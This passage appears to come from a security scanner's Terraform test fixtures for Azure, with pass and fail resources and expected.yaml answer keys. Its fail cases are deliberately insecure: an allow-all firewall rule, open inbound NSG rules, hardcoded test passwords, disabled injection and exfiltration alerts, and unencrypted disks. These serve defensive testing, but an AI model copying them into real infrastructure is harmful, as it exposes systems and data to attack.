    "content": "# PASS case: resources are connected and network_rules block contains all the required arguments\n\nresource \"azurerm_storage_account\" \"pass\" {\n  name                = \"pass\"\n  resource_group_name = azurerm_resource_group.pud_rg.name\n\n  location                 = azurerm_resource_group.pud_rg.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"LRS\"\n\n  tags = {\n    environment = \"staging\"\n  }\n\n}\n\nresource \"azurerm_private_endpoint\" \"dep-pep-j1-10-rlp-76252\" {\n  name                = \"dep-pep-j1-10-rlp-76252\"\n  resource_group_name = azurerm_resource_group.pud_rg.name\n  location            = azurerm_resource_group.pud_rg.location\n  subnet_id           = azurerm_subnet.pud-subn.id\n  private_service_connection {\n    name                           = \"policyauto3\"\n    private_connection_resource_id = azurerm_storage_account.pass.id\n    is_manual_connection           = false\n    subresource_names              = [\"blob\"]\n  }\n}\n\n# FAIL case: azurerm_private_endpoint resource is not connected\n\nresource \"azurerm_storage_account\" \"fail\" {\n  name                     = \"fail\"\n  resource_group_name      = azurerm_resource_group.pud_rg.name\n  location                 = azurerm_resource_group.pud_rg.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n\n  tags = {\n    environment = \"staging\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureStorageAccConfigWithoutBlobAnonymousAccess/expected.yaml",
    "content": "pass:\n  - \"azurerm_storage_account.pass\"\nfail:\n  - \"azurerm_storage_account.fail_1\"\n  - \"azurerm_storage_account.fail_2\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureStorageAccConfigWithoutBlobAnonymousAccess/main.tf",
    "content": "variable \"rg-name\" {\n  default = \"pud-bc-rg\"\n}\n\nvariable \"location\" {\n  default = \"northeurope\"\n}\n\n# Case 1: Pass: allow_nested_items_to_be_public = False\n\nresource \"azurerm_storage_account\" \"pass\" {\n  name                     = \"pud-storage2023abc1\"\n  resource_group_name      = var.rg-name\n  location                 = var.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n  allow_nested_items_to_be_public = false\n\n  tags = {\n    bc_status = \"pass\"\n  }\n}\n\n# Case 2: Fail: allow_nested_items_to_be_public does NOT exist\n\nresource \"azurerm_storage_account\" \"fail_1\" {\n  name                     = \"pud-storage2023abc2\"\n  resource_group_name      = var.rg-name\n  location                 = var.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n\n  tags = {\n    bc_status = \"fail_1\"\n  }\n}\n\n# Case 3: Fail: allow_nested_items_to_be_public = True\n\nresource \"azurerm_storage_account\" \"fail_2\" {\n  name                     = \"pud-storage2023abc3\"\n  resource_group_name      = var.rg-name\n  location                 = var.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n  allow_nested_items_to_be_public = true\n\n\n  tags = {\n    bc_status = \"fail_2\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureStorageAccConfig_SAS_expirePolicy/expected.yaml",
    "content": "pass:\n  - \"azurerm_storage_account.pass_1\"\n  - \"azurerm_storage_account.pass_2\"\n  - \"azurerm_storage_account.pass_3\"\nfail:\n  - \"azurerm_storage_account.fail_1\"\n  - \"azurerm_storage_account.fail_2\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureStorageAccConfig_SAS_expirePolicy/main.tf",
    "content": "variable \"rg-name\" {\n  default = \"pud-bc-rg\"\n}\n\nvariable \"location\" {\n  default = \"northeurope\"\n}\n\n# Case 1: Pass: shared_access_key_enabled = false doesn't matter if sas_policy exists or not\n\nresource \"azurerm_storage_account\" \"pass_1\" {\n  name                     = \"pud-storage2023abc1\"\n  resource_group_name      = var.rg-name\n  location                 = var.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n  shared_access_key_enabled = false\n\n  sas_policy {\n    expiration_period = \"90.00:00:00\"\n    expiration_action = \"Log\"\n  }\n\n  tags = {\n    bc_status = \"pass\"\n  }\n}\n\n# Case 2: Pass: shared_access_key_enabled is False and it's okay if sas_policy.expiration_period is empty\n\nresource \"azurerm_storage_account\" \"pass_2\" {\n  name                     = \"pud-storage2023abc4\"\n  resource_group_name      = var.rg-name\n  location                 = var.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n  shared_access_key_enabled = false\n\n  sas_policy {\n    expiration_period = \"\"\n  }\n\n}\n\n# Case 3: Pass: shared_access_key_enabled is True but expiration_period is configured.\n\nresource \"azurerm_storage_account\" \"pass_3\" {\n  name                     = \"pud-storage2023abc4\"\n  resource_group_name      = var.rg-name\n  location                 = var.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n  shared_access_key_enabled = true\n\n  sas_policy {\n    expiration_period = \"90.00:00:00\"\n  }\n\n}\n\n# Case 4: Fail: None of the arguments exist, so by default \"sas_policy.expiration_period\" is true\n\nresource \"azurerm_storage_account\" \"fail_1\" {\n  name                     = \"pud-storage2023abc2\"\n  resource_group_name      = var.rg-name\n  location                 = var.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\n# Case 5: FAIL: shared_access_key_enabled is True and \"sas_policy.expiration_period\" is NOT configured\n\nresource \"azurerm_storage_account\" \"fail_2\" {\n  name                     = \"pud-storage2023abc3\"\n  resource_group_name      = var.rg-name\n  location                 = var.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n  shared_access_key_enabled = true\n\n  sas_policy {\n    expiration_period = \"\"\n\n  }\n\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureStorageAccountEnableSoftDelete/expected.yaml",
    "content": "pass:\n  - \"azurerm_storage_account.pass_1\"\n  - \"azurerm_storage_account.pass_2\"\n\nfail:\n  - \"azurerm_storage_account.fail_1\"\n  - \"azurerm_storage_account.fail_2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureStorageAccountEnableSoftDelete/main.tf",
    "content": "# PASS case 1: If \"account_kind\" is not mentioned, it equals to \"StorageV2\"\n# Reference: https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#account_kind\n\nresource \"azurerm_storage_account\" \"pass_1\" {\n  name                     = \"pud_store_acc\"\n  resource_group_name      = azurerm_resource_group.pud_rg.name\n  location                 = azurerm_resource_group.pud_rg.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n\n  blob_properties {\n    delete_retention_policy {\n      days = 10\n    }\n  }\n\n}\n\n# PASS case 2: If \"blob_properties.delete_retention_policy.days\" is not mentioned, it defaults to 7 days\n# Reference: https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#days\n\nresource \"azurerm_storage_account\" \"pass_2\" {\n  name                     = \"pud_store_acc\"\n  resource_group_name      = azurerm_resource_group.pud_rg.name\n  location                 = azurerm_resource_group.pud_rg.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n  account_kind             = \"BlobStorage\"\n\n  blob_properties {\n    delete_retention_policy {\n    \n    }\n  }\n\n}\n\n# FAIL case 1: \"account_kind\" should NOT equal to \"FileStorage\"\n\nresource \"azurerm_storage_account\" \"fail_1\" {\n  name                     = \"pud_store_acc\"\n  resource_group_name      = azurerm_resource_group.pud_rg.name\n  location                 = azurerm_resource_group.pud_rg.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n  account_kind             = \"FileStorage\" \n\n  blob_properties {\n    delete_retention_policy {\n      days = 10\n    }\n  }\n\n}\n\n# FAIL case 2: \"delete_retention_policy\" block is not defined\n\nresource \"azurerm_storage_account\" \"fail_2\" {\n  name                     = \"pud_store_acc\"\n  resource_group_name      = azurerm_resource_group.pud_rg.name\n  location                 = azurerm_resource_group.pud_rg.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n\n  blob_properties {\n    \n  }\n\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureSubnetConfigWithNSG/expected.yaml",
    "content": "pass:\n  - \"azurerm_subnet.pass\"\n  - \"azurerm_subnet.pass_netapp\"\n  - \"azurerm_subnet.fw-snet[0]\"\n  - \"azurerm_subnet.gw_snet[0]\"\nfail:\n  - \"azurerm_subnet.fail_3\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureSubnetConfigWithNSG/main.tf",
    "content": "# PASS case\n\nresource \"azurerm_subnet\" \"pass\" {\n  name                                           = \"pass\"\n  resource_group_name                            = azurerm_resource_group.pud_rg.name\n  virtual_network_name                           = azurerm_virtual_network.pud_vnet.name\n  address_prefixes                               = [\"192.0.8.0/24\"]\n  enforce_private_link_endpoint_network_policies = true\n  enforce_private_link_service_network_policies  = true\n  delegation {\n    name = \"Microsoft.Web/serverFarms\"\n    service_delegation {\n      name = \"Microsoft.Web/serverFarms\"\n    }\n  }\n}\n\nresource \"azurerm_network_security_group\" \"pass\" {\n  name                = \"pass\"\n  location            = azurerm_resource_group.pud_rg.location\n  resource_group_name = azurerm_resource_group.pud_rg.name\n  security_rule {\n    name                       = \"default\"\n    priority                   = 100\n    direction                  = \"Inbound\"\n    access                     = \"Allow\"\n    protocol                   = \"Tcp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"*\"\n    source_address_prefix      = \"*\"\n    destination_address_prefix = \"*\"\n  }\n}\n\nresource \"azurerm_subnet_network_security_group_association\" \"pass\" {\n  subnet_id                 = azurerm_subnet.pass.id\n  network_security_group_id = azurerm_network_security_group.pass.id\n}\n\n# Pass: ignore if service_delegation equal to Microsoft.Netapp/volumes\n\nresource \"azurerm_subnet\" \"pass_netapp\" {\n  name                                           = \"pass_netapp\"\n  resource_group_name                            = azurerm_resource_group.pud_rg.name\n  virtual_network_name                           = azurerm_virtual_network.pud_vnet.name\n  address_prefixes                               = [\"192.0.8.0/24\"]\n  enforce_private_link_endpoint_network_policies = true\n  enforce_private_link_service_network_policies  = true\n  delegation {\n    name = \"Microsoft.Netapp/volumes\"\n    service_delegation {\n      name = \"Microsoft.Netapp/volumes\"\n    }\n  }\n}\n\nresource \"azurerm_network_security_group\" \"pass_netapp\" {\n  name                = \"pass_netapp\"\n  location            = azurerm_resource_group.pud_rg.location\n  resource_group_name = azurerm_resource_group.pud_rg.name\n  security_rule {\n    name                       = \"default\"\n    priority                   = 100\n    direction                  = \"Inbound\"\n    access                     = \"Allow\"\n    protocol                   = \"Tcp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"*\"\n    source_address_prefix      = \"*\"\n    destination_address_prefix = \"*\"\n  }\n}\n\nresource \"azurerm_subnet_network_security_group_association\" \"pass_netapp\" {\n  subnet_id                 = azurerm_subnet.pass_netapp.id\n  network_security_group_id = azurerm_network_security_group.pass_netapp.id\n}\n\n\n# FAIL case 3: Subnet not associated to NSG resource OR NSG resource doesn't exist\n\nresource \"azurerm_subnet\" \"fail_3\" {\n  name                 = \"fail_3\"\n  resource_group_name  = azurerm_resource_group.dep-rg-j1-1-rlp-1473.name\n  virtual_network_name = azurerm_virtual_network.dep-vn-j1-2-rlp-1473.name\n  address_prefixes     = [\"10.0.17.0/24\"]\n}\n\n\n# Pass - AzureFirewallSubnet is required for Azure Firewall and has predefined configurations that should not be overridden.\nresource \"azurerm_subnet\" \"fw-snet\" {\n  count                = var.firewall_subnet_address_prefix != null ? 1 : 0\n  name                 = \"AzureFirewallSubnet\"\n  resource_group_name  = local.resource_group_name\n  virtual_network_name = azurerm_virtual_network.vnet.name\n  address_prefixes     = var.firewall_subnet_address_prefix\n  service_endpoints    = var.firewall_service_endpoints\n}\n\n# Pass - GatewaySubnet is required for Azure VPN gateways and should not have user-defined configurations that conflict with its reserved purpose.\nresource \"azurerm_subnet\" \"gw_snet\" {\n  count                = var.gateway_subnet_address_prefix != null ? 1 : 0\n  name                 = \"GatewaySubnet\"\n  resource_group_name  = local.resource_group_name\n  virtual_network_name = azurerm_virtual_network.vnet.name\n  address_prefixes     = var.gateway_subnet_address_prefix\n  service_endpoints    = var.gateway_service_endpoints\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureSynapseWorkspaceVAisEnabled/expected.yaml",
    "content": "pass:\n  - \"azurerm_synapse_workspace_vulnerability_assessment.va_pass\"\n\nfail:\n  - \"azurerm_synapse_workspace_vulnerability_assessment.va_fail_1\"\n  - \"azurerm_synapse_workspace_vulnerability_assessment.va_fail_2\"\n  - \"azurerm_synapse_workspace_vulnerability_assessment.va_fail_3\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureSynapseWorkspaceVAisEnabled/main.tf",
    "content": "variable \"default_var\" {\n  default = \"pud-default\"\n}\n\n# Case 1: Pass: Connection exists and recurring_scans.*.enabled = true\n\nresource \"azurerm_synapse_workspace\" \"synapse_ws_pass_1\" {\n  name                                 = \"synapse_ws_pass_1\"\n  resource_group_name                  = var.default_var\n  location                             = var.default_var\n  storage_data_lake_gen2_filesystem_id = var.default_var\n  sql_administrator_login              = \"pudsqladminuser\"\n  sql_administrator_login_password     = \"P@ssw0rd@1\" # checkov:skip=CKV_SECRET_80 test secret\n\n  aad_admin {\n    login     = \"AzureAD Admin\"\n    object_id = \"00000000-0000-0000-0000-000000000000\"\n    tenant_id = \"00000000-0000-0000-0000-000000000000\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  tags = {\n    Env = \"production\"\n  }\n}\n\nresource \"azurerm_synapse_workspace_security_alert_policy\" \"synapse_ws_policy_1\" {\n  synapse_workspace_id       = azurerm_synapse_workspace.synapse_ws_pass_1.id\n  policy_state               = \"Enabled\"\n\n  disabled_alerts = [\n    \"Sql_Injection\",\n    \"Data_Exfiltration\"\n  ]\n  retention_days = 20\n}\n\nresource \"azurerm_synapse_workspace_vulnerability_assessment\" \"va_pass\" {\n  workspace_security_alert_policy_id = azurerm_synapse_workspace_security_alert_policy.synapse_ws_policy_1.id\n  storage_container_path             = var.default_var\n\n  recurring_scans {\n    enabled = true\n  }\n}\n\n# Case 2: Fail: Connection doesn't exist but recurring_scans.*.enabled = true\n\nresource \"azurerm_synapse_workspace\" \"synapse_ws_fail_1\" {\n  name                                 = \"synapse_ws_fail_1\"\n  resource_group_name                  = var.default_var\n  location                             = var.default_var\n  storage_data_lake_gen2_filesystem_id = var.default_var\n  sql_administrator_login              = \"pudsqladminuser\"\n  sql_administrator_login_password     = \"P@ssw0rd@1\" # checkov:skip=CKV_SECRET_80 test secret\n\n  aad_admin {\n    login     = \"AzureAD Admin\"\n    object_id = \"00000000-0000-0000-0000-000000000000\"\n    tenant_id = \"00000000-0000-0000-0000-000000000000\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  tags = {\n    Env = \"production\"\n  }\n}\n\nresource \"azurerm_synapse_workspace_security_alert_policy\" \"synapse_ws_policy_2\" {\n  synapse_workspace_id       = azurerm_synapse_workspace.synapse_ws_fail_1.id\n  policy_state               = \"Enabled\"\n\n  disabled_alerts = [\n    \"Sql_Injection\",\n    \"Data_Exfiltration\"\n  ]\n  retention_days = 20\n}\n\nresource \"azurerm_synapse_workspace_vulnerability_assessment\" \"va_fail_1\" {\n  workspace_security_alert_policy_id = var.default_var\n  storage_container_path             = var.default_var\n\n  recurring_scans {\n    enabled = true\n  }\n}\n\n# Case 3: Fail: Connection exists but recurring_scans.*.enabled = false\n\nresource \"azurerm_synapse_workspace\" \"synapse_ws_fail_2\" {\n  name                                 = \"synapse_ws_fail_2\"\n  resource_group_name                  = var.default_var\n  location                             = var.default_var\n  storage_data_lake_gen2_filesystem_id = var.default_var\n  sql_administrator_login              = \"pudsqladminuser\"\n  sql_administrator_login_password     = \"P@ssw0rd@1\" # checkov:skip=CKV_SECRET_80 test secret\n\n  aad_admin {\n    login     = \"AzureAD Admin\"\n    object_id = \"00000000-0000-0000-0000-000000000000\"\n    tenant_id = \"00000000-0000-0000-0000-000000000000\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  tags = {\n    Env = \"production\"\n  }\n}\n\nresource \"azurerm_synapse_workspace_security_alert_policy\" \"synapse_ws_policy_3\" {\n  synapse_workspace_id       = azurerm_synapse_workspace.synapse_ws_fail_2.id\n  policy_state               = \"Enabled\"\n\n  disabled_alerts = [\n    \"Sql_Injection\",\n    \"Data_Exfiltration\"\n  ]\n  retention_days = 20\n}\n\nresource \"azurerm_synapse_workspace_vulnerability_assessment\" \"va_fail_2\" {\n  workspace_security_alert_policy_id = azurerm_synapse_workspace_security_alert_policy.synapse_ws_policy_3.id\n  storage_container_path             = var.default_var\n\n  recurring_scans {\n    enabled = false\n  }\n}\n\n\n# Case 4: Fail: 'azurerm_synapse_workspace_security_alert_policy' not connected to 'azurerm_synapse_workspace' but recurring_scans.*.enabled = true\n\nresource \"azurerm_synapse_workspace\" \"synapse_ws_fail_3\" {\n  name                                 = \"synapse_ws_fail_3\"\n  resource_group_name                  = var.default_var\n  location                             = var.default_var\n  storage_data_lake_gen2_filesystem_id = var.default_var\n  sql_administrator_login              = \"pudsqladminuser\"\n  sql_administrator_login_password     = \"P@ssw0rd@1\" # checkov:skip=CKV_SECRET_80 test secret\n\n  aad_admin {\n    login     = \"AzureAD Admin\"\n    object_id = \"00000000-0000-0000-0000-000000000000\"\n    tenant_id = \"00000000-0000-0000-0000-000000000000\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  tags = {\n    Env = \"production\"\n  }\n}\n\nresource \"azurerm_synapse_workspace_security_alert_policy\" \"synapse_ws_policy_4\" {\n  synapse_workspace_id       = var.default_var\n  policy_state               = \"Enabled\"\n\n  disabled_alerts = [\n    \"Sql_Injection\",\n    \"Data_Exfiltration\"\n  ]\n  retention_days = 20\n}\n\nresource \"azurerm_synapse_workspace_vulnerability_assessment\" \"va_fail_3\" {\n  workspace_security_alert_policy_id = azurerm_synapse_workspace_security_alert_policy.synapse_ws_policy_4.id\n  storage_container_path             = var.default_var\n\n  recurring_scans {\n    enabled = true\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached/expected.yaml",
    "content": "pass:\n  - \"azurerm_synapse_workspace.workspace_good\"\nfail:\n  - \"azurerm_synapse_workspace.workspace_bad\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached/main.tf",
    "content": "resource \"azurerm_resource_group\" \"example\" {\n  name     = \"example-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_synapse_workspace\" \"workspace_good\" {\n  name                                 = \"example\"\n  sql_administrator_login              = \"sqladminuser\"\n  sql_administrator_login_password     = \"H@Sh1CoR3!\"  # checkov:skip=CKV_SECRET_80 test secret\n  managed_virtual_network_enabled      = true\n  tags = {\n    Env = \"production\"\n  }\n}\n\nresource \"azurerm_synapse_workspace\" \"workspace_bad\" {\n  name                                 = \"example\"\n  sql_administrator_login              = \"sqladminuser\"\n  sql_administrator_login_password     = \"H@Sh1CoR3!\"  # checkov:skip=CKV_SECRET_80 test secret\n  tags = {\n    Env = \"production\"\n  }\n}\n\nresource \"azurerm_synapse_firewall_rule\" \"firewall_rule\" {\n  name                 = \"AllowAll\"\n  synapse_workspace_id = azurerm_synapse_workspace.workspace_bad.id\n  start_ip_address     = \"0.0.0.0\"\n  end_ip_address       = \"255.255.255.255\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureUnattachedDisksAreEncrypted/expected.yaml",
    "content": "pass:\n  - \"azurerm_virtual_machine.virtual_machine_good_1\"\n  - \"azurerm_virtual_machine.virtual_machine_good_2\"\n  - \"azurerm_virtual_machine.virtual_machine_good_3\"\nfail:\n  - \"azurerm_virtual_machine.virtual_machine_bad_1\"\n  - \"azurerm_virtual_machine.virtual_machine_bad_2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureUnattachedDisksAreEncrypted/main.tf",
    "content": "resource \"azurerm_resource_group\" \"group\" {\n  name     = \"example-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_managed_disk\" \"managed_disk_good_1\" {\n  name                 = \"acctestmd\"\n  location             = \"West US 2\"\n  resource_group_name  = azurerm_resource_group.group.name\n  storage_account_type = \"Standard_LRS\"\n  create_option        = \"Empty\"\n  disk_size_gb         = \"1\"\n\n  encryption_settings {\n    enabled = true\n  }\n  tags = {\n    environment = \"staging\"\n  }\n}\n\nresource \"azurerm_managed_disk\" \"managed_disk_good_2\" {\n  name                 = \"acctestmd\"\n  location             = \"West US 2\"\n  resource_group_name  = azurerm_resource_group.group.name\n  storage_account_type = \"Standard_LRS\"\n  create_option        = \"Empty\"\n  disk_size_gb         = \"1\"\n  disk_encryption_set_id = \"12345\"\n  tags = {\n    environment = \"staging\"\n  }\n}\n\nresource \"azurerm_managed_disk\" \"managed_disk_good_3\" {\n  name                 = \"acctestmd\"\n  location             = \"West US 2\"\n  resource_group_name  = azurerm_resource_group.group.name\n  storage_account_type = \"Standard_LRS\"\n  create_option        = \"Empty\"\n  disk_size_gb         = \"1\"\n  tags = {\n    environment = \"staging\"\n  }\n\n  encryption_settings {\n    enabled = true\n  }\n}\n\nresource \"azurerm_managed_disk\" \"managed_disk_bad_1\" {\n  name                 = \"acctestmd\"\n  location             = \"West US 2\"\n  resource_group_name  = azurerm_resource_group.group.name\n  storage_account_type = \"Standard_LRS\"\n  create_option        = \"Empty\"\n  disk_size_gb         = \"1\"\n  tags = {\n    environment = \"staging\"\n  }\n}\n\nresource \"azurerm_managed_disk\" \"managed_disk_bad_2\" {\n  name                 = \"acctestmd\"\n  location             = \"West US 2\"\n  resource_group_name  = azurerm_resource_group.group.name\n  storage_account_type = \"Standard_LRS\"\n  create_option        = \"Empty\"\n  disk_size_gb         = \"1\"\n  encryption_settings {\n    enabled = false\n  }\n  tags = {\n    environment = \"staging\"\n  }\n}\n\nresource \"azurerm_virtual_machine\" \"virtual_machine_good_1\" {\n  name                  = \"$vm\"\n  location              = \"location\"\n  resource_group_name  = azurerm_resource_group.group.name\n  network_interface_ids = [\"id\"]\n  vm_size               = \"Standard_DS1_v2\"\n  storage_image_reference {\n    publisher = \"Canonical\"\n    offer     = \"UbuntuServer\"\n    sku       = \"16.04-LTS\"\n    version   = \"latest\"\n  }\n  storage_os_disk {\n    name              = \"myosdisk1\"\n    caching           = \"ReadWrite\"\n    create_option     = \"FromImage\"\n    managed_disk_id = azurerm_managed_disk.managed_disk_good_1.id\n  }\n}\n\nresource \"azurerm_virtual_machine\" \"virtual_machine_good_2\" {\n  name                  = \"$vm\"\n  location              = \"location\"\n  resource_group_name  = azurerm_resource_group.group.name\n  network_interface_ids = [\"id\"]\n  vm_size               = \"Standard_DS1_v2\"\n  storage_image_reference {\n    publisher = \"Canonical\"\n    offer     = \"UbuntuServer\"\n    sku       = \"16.04-LTS\"\n    version   = \"latest\"\n  }\n  storage_os_disk {\n    name              = \"myosdisk1\"\n    caching           = \"ReadWrite\"\n    create_option     = \"FromImage\"\n    managed_disk_id = azurerm_managed_disk.managed_disk_good_2.id\n  }\n}\n\n\nresource \"azurerm_virtual_machine\" \"virtual_machine_good_3\" {\n  name                  = \"$vm\"\n  location              = \"location\"\n  resource_group_name  = azurerm_resource_group.group.name\n  network_interface_ids = [\"id\"]\n  vm_size               = \"Standard_DS1_v2\"\n  storage_image_reference {\n    publisher = \"Canonical\"\n    offer     = \"UbuntuServer\"\n    sku       = \"16.04-LTS\"\n    version   = \"latest\"\n  }\n  storage_os_disk {\n    name              = \"myosdisk1\"\n    caching           = \"ReadWrite\"\n    create_option     = \"FromImage\"\n    managed_disk_type = \"managed\"\n  }\n}\n\n\nresource \"azurerm_virtual_machine\" \"virtual_machine_bad_1\" {\n  name                  = \"$vm\"\n  location              = \"location\"\n  resource_group_name  = azurerm_resource_group.group.name\n  network_interface_ids = [\"id\"]\n  vm_size               = \"Standard_DS1_v2\"\n  storage_image_reference {\n    publisher = \"Canonical\"\n    offer     = \"UbuntuServer\"\n    sku       = \"16.04-LTS\"\n    version   = \"latest\"\n  }\n  storage_os_disk {\n    name              = \"myosdisk1\"\n    caching           = \"ReadWrite\"\n    create_option     = \"FromImage\"\n    managed_disk_type = azurerm_managed_disk.managed_disk_bad_1.id\n  }\n}\n\nresource \"azurerm_virtual_machine\" \"virtual_machine_bad_2\" {\n  name                  = \"$vm\"\n  location              = \"location\"\n  resource_group_name  = azurerm_resource_group.group.name\n  network_interface_ids = [\"id\"]\n  vm_size               = \"Standard_DS1_v2\"\n  storage_image_reference {\n    publisher = \"Canonical\"\n    offer     = \"UbuntuServer\"\n    sku       = \"16.04-LTS\"\n    version   = \"latest\"\n  }\n  storage_os_disk {\n    name              = \"myosdisk1\"\n    caching           = \"ReadWrite\"\n    create_option     = \"FromImage\"\n    managed_disk_type = azurerm_managed_disk.managed_disk_bad_2.id\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureVMconfigPublicIP_SerialConsoleAccess/expected.yaml",
    "content": "pass:\n  - \"azurerm_network_interface.pass_int_1\"\n  - \"azurerm_network_interface.pass_int_2\"\n  - \"azurerm_network_interface.pass_int_3\"\n  - \"azurerm_network_interface.pass_int_4\"\nfail:\n  - \"azurerm_network_interface.fail_int\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureVMconfigPublicIP_SerialConsoleAccess/main.tf",
    "content": "variable \"prefix\" {\n  default = \"pud_bc\"\n}\n\nvariable \"pub-ip-id\" {\n  default = \"/subscriptions/61pudrpd-6234-7856-a98e-09pu7dep65h2/resourceGroups/pud-rg/providers/Microsoft.Network/publicIPAddresses/pud-bc-checkov-ip\"\n}\n\ndata \"azurerm_network_interface\" \"pud-id\" {\n  name                 = \"existing\"\n  resource_group_name  = \"pud-rg\"\n}\n\nresource \"azurerm_resource_group\" \"pud-rg\" {\n  name     = \"${var.prefix}-rg\"\n  location = \"West Europe\"\n}\n\n# Case 1: FAIL case: \"ip_configuration.public_ip_address_id\" exists and boot_diagnostics also exists\n\nresource \"azurerm_network_interface\" \"fail_int\" {\n  name                = \"pass-nic\"\n  location            = azurerm_resource_group.pud-rg.location\n  resource_group_name = azurerm_resource_group.pud-rg.name\n\n  ip_configuration {\n    name                          = \"internal\"\n    subnet_id                     = var.prefix\n    private_ip_address_allocation = \"Dynamic\"\n    public_ip_address_id = var.pub-ip-id\n  }\n}\n\nresource \"azurerm_virtual_machine\" \"pass_vm\" {\n  name                  = \"${var.prefix}-vm\"\n  location              = azurerm_resource_group.pud-rg.location\n  resource_group_name   = azurerm_resource_group.pud-rg.name\n  network_interface_ids = [azurerm_network_interface.fail_int.id]\n  vm_size               = \"Standard_DS1_v2\"\n\n  boot_diagnostics {\n    storage_account_uri = null # null enables managed storage account for boot diagnostics\n    enabled             = true\n    storage_uri         = \"\"\n  }\n}\n\n# Case 2: Pass case: \"ip_configuration.public_ip_address_id\" does NOT exist\n\nresource \"azurerm_network_interface\" \"pass_int_1\" {\n  name                = \"pass-nic\"\n  location            = azurerm_resource_group.pud-rg.location\n  resource_group_name = azurerm_resource_group.pud-rg.name\n\n  ip_configuration {\n    name                          = \"internal\"\n    subnet_id                     = var.prefix\n    private_ip_address_allocation = \"Dynamic\"\n  }\n}\n\nresource \"azurerm_linux_virtual_machine\" \"pud-linux-vm\" {\n  name                = \"pud-linux-vm\"\n  resource_group_name = azurerm_resource_group.pud-rg.name\n  location            = azurerm_resource_group.pud-rg.location\n  size                = \"Standard_F2\"\n  admin_username      = \"pud-admin\"\n  network_interface_ids = [\n    azurerm_network_interface.pass_int_1.id,\n  ]\n\n}\n\n# Case 3: Pass case: \"ip_configuration.public_ip_address_id\" exists but boot_diagnostics does not exist\n\nresource \"azurerm_network_interface\" \"pass_int_2\" {\n  name                = \"pass-nic\"\n  location            = azurerm_resource_group.pud-rg.location\n  resource_group_name = azurerm_resource_group.pud-rg.name\n\n  ip_configuration {\n    name                          = \"internal\"\n    subnet_id                     = var.prefix\n    private_ip_address_allocation = \"Dynamic\"\n    public_ip_address_id = var.pub-ip-id\n  }\n}\n\nresource \"azurerm_virtual_machine\" \"pass_vm\" {\n  name                  = \"${var.prefix}-vm\"\n  location              = azurerm_resource_group.pud-rg.location\n  resource_group_name   = azurerm_resource_group.pud-rg.name\n  network_interface_ids = [azurerm_network_interface.pass_int_2.id]\n  vm_size               = \"Standard_DS1_v2\"\n\n#  boot_diagnostics {\n#    storage_account_uri = null # null enables managed storage account for boot diagnostics\n#    enabled             = true\n#    storage_uri         = \"\"\n#  }\n}\n\n# Case 4: Pass case: \"ip_configuration.public_ip_address_id\" does exist but is empty\n\nresource \"azurerm_network_interface\" \"pass_int_3\" {\n  name                = \"pass-nic\"\n  location            = azurerm_resource_group.pud-rg.location\n  resource_group_name = azurerm_resource_group.pud-rg.name\n\n  ip_configuration {\n    name                          = \"internal\"\n    subnet_id                     = var.prefix\n    private_ip_address_allocation = \"Dynamic\"\n    public_ip_address_id          = \"\"\n  }\n}\n\nresource \"azurerm_linux_virtual_machine\" \"pass_vm_3\" {\n  name                = \"pud-linux-vm\"\n  resource_group_name = azurerm_resource_group.pud-rg.name\n  location            = azurerm_resource_group.pud-rg.location\n  size                = \"Standard_F2\"\n  admin_username      = \"pud-admin\"\n  network_interface_ids = [\n    azurerm_network_interface.pass_int_3.id,\n  ]\n}\n\n# Case 5: Pass case: \"ip_configuration.public_ip_address_id\" does exist but is null\n\nresource \"azurerm_network_interface\" \"pass_int_4\" {\n  name                = \"pass-nic\"\n  location            = azurerm_resource_group.pud-rg.location\n  resource_group_name = azurerm_resource_group.pud-rg.name\n\n  ip_configuration {\n    name                          = \"internal\"\n    subnet_id                     = var.prefix\n    private_ip_address_allocation = \"Dynamic\"\n    public_ip_address_id          = null\n  }\n}\n\nresource \"azurerm_linux_virtual_machine\" \"pass_vm_4\" {\n  name                = \"pud-linux-vm\"\n  